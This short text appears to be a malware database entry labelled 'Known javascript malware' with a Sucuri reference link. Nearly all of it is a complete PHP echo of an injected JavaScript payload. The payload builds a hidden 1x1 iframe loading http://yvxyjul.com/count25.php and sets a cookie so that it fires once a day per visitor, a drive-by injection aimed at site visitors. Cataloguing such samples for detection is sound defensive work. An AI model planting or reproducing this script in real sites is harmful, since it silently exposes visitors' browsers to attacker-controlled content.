Known javascript malware.
Details: http://labs.sucuri.net/db/malware/mwjs-iframe-injected515?v15
echo " <script type=\"text/javascript\" language=\"javascript\" > function zzzfff() { var ksjkm = document.createElement('iframe'); ksjkm.src = 'http://yvxyjul.com/count25.php'; ksjkm.style.position = 'absolute'; ksjkm.style.border = '0'; ksjkm.style.height = '1px'; ksjkm.style.width = '1px'; ksjkm.style.left = '1px'; ksjkm.style.top = '1px'; if (!document.getElementById('ksjkm')) { document.write('<div id=\'ksjkm\'></div>'); document.getElementById('ksjkm').appendChild(ksjkm); }}function SetCookie(cookieName,cookieValue,nDays,path) { var today = new Date(); var expire = new Date(); if (nDays==null || nDays==0) nDays=1; expire.setTime(today.getTime() + 3600000*24*nDays); document.cookie = cookieName+\"=\"+escape(cookieValue) + \";expires=\" + expire.toGMTString() + ((path) ? \"; path=\" + path : \"\");}function GetCookie( name ) { var start = document.cookie.indexOf( name + \"=\" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( \";\", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}</script>";